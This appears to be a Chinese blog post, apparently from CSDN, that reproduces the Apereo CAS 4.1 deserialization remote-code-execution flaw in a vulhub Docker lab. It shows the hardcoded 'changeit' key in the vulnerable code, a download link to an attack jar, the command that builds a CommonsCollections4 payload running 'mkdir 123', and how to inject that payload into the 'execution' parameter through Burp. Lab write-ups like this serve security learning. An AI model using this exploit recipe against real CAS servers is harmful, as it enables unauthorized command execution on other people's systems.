复现vulhub中apereo-cas的4.1-rce漏洞

Apereo CAS 4.1 反序列化命令执行漏洞

Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统,其4.1.7版本之前存在一处默认密钥changeit的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

Webflow中使用了默认密钥changeit:

public class EncryptedTranscoder implements Transcoder {

    private CipherBean cipherBean;

    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {

        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();

        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));

        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());

        bufferedBlockCipherBean.setKeyAlias("aes128");

        bufferedBlockCipherBean.setKeyPassword("changeit");

        bufferedBlockCipherBean.setNonce(new RBGNonce());

        this.setCipherBean(bufferedBlockCipherBean);

    }

环境说明:

使用腾讯云轻量服务器安装vulhub

系统:ubuntu20.04 

1、进入/vulhub/apereo-cas/4.1-rce目录,使用命令启动漏洞环境:

docker-compose up -d

done表示环境已开启 。

2、使用docker-compose ps 查看漏洞存在的端口:

 可以看到相关端口是8080。

3、通过访问your-ip:port可以看到apereo-cas

4、下载利用工具

https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar

5、执行命令

命令:java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "mkdir 123"

生成payload

6、点击登录,再通过burp suite抓包

抓包后发送至repeater模块,修改参数“execution”为生成的payload

修改前:

修改后:

7、/vulhub/apereo-cas/4.1-rce里执行sudo docker ps查看容器名称

sudo docker exec -it b626248483e5

cd /usr/local/tomcat 

ls

可以看到“123”命令执行成功

参考链接:

- https://apereo.github.io/2016/04/08/commonsvulndisc/

-https://www.cnblogs.com/cute-puli/p/14648859.html

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值